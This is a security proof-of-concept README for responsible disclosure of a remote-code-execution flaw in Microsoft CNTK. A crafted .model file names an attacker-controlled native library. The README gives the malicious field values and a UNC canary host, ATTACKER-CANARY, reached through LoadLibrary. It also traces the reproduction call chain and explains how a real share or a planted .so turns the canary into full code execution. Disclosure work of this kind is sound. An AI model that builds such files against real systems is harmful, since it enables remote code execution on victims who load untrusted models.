--- license: other tags: - security-poc - huntr - responsible-disclosure --- # ⚠️ Security PoC — CNTK v2 `.model` native-UserFunction RCE (GATED) This gated repository contains a **single crafted CNTK v2 `.model`** demonstrating arbitrary native library load + call (RCE) at model-load time in `microsoft/CNTK`. Uploaded **solely** for coordinated disclosure via huntr and access-gated to the triage team. ## The artifact - **`evil.model`** (581 bytes) — a raw protobuf-serialized `CNTK.proto` `Dictionary` (the on-disk CNTK v2 format for sub-2GB models: no magic/length prefix). It encodes a `CompositeFunction` whose single `primitive_functions[0]` entry is a **native UserFunction**: - `type = "UserDefinedFunction"`, `native = true` → routes to `Function::DeserializeNativeImpl` - `user_defined_state.type = "NativeUserDefinedFunction"` - `user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"` ← **attacker-named library** - `user_defined_state.deserialize_method = "Deserialize"` ← attacker export symbol - `user_defined_state.op = "EvilNativeOp"` ← unregistered op → forces the plugin-load branch The `module` value is a **benign UNC canary** — no payload library exists at that path, so loading the file makes CNTK *attempt* the remote `LoadLibrary` (observable as an SMB/WebDAV fetch to `ATTACKER-CANARY`) without executing attacker code. Swapping in a reachable UNC share / local `.dll`/`.so` is what yields full code execution. ## Threat model (huntr MFV) `cntk.load_model("evil.model")` / `cntk.Function.load(...)` — the fully public, default-format load API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the file says `native = true`. ## Reproduce ```python import cntk cntk.load_model("evil.model") # -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize # -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction) # -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl # -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize") # -> LoadLibrary(UNC) + GetProcAddress + CALL ==> native code execution ``` **Windows:** `.pyd` is used verbatim (no suffix mangling); `LoadLibrary` of the UNC path fetches and executes `DllMain` from the remote share — **single-file remote RCE**. **Linux:** point `module` at a planted absolute-path `.so` (e.g. `/dev/shm/evil.so`) → `dlopen` + `dlsym` + call (two-ingredient). Sink: `Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67` · loader `Source/Common/File.cpp:1028-1094` · no `AllowNative`/`trusted`/`safe_load` guard exists in `CNTKv2LibraryDll` (grepped, zero hits). ## Verification status (honest) The `.model` is encoded **faithfully to the real `CNTK.proto` schema** and the exact key / type / version contract traced from CNTK source (`version` map-key required per `GetVersion`; type strings `CompositeFunction` / `UserDefinedFunction` / `NativeUserDefinedFunction`; required-key sets for each deserializer). The protobuf wire format was validated by round-trip decode. It was **not executed at runtime** — CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host. The sink, the full public-API → sink chain, and the absence of any guard are source-confirmed. CWE-502 + CWE-494 · CVSS ~8.8 (Windows UNC) · RCE.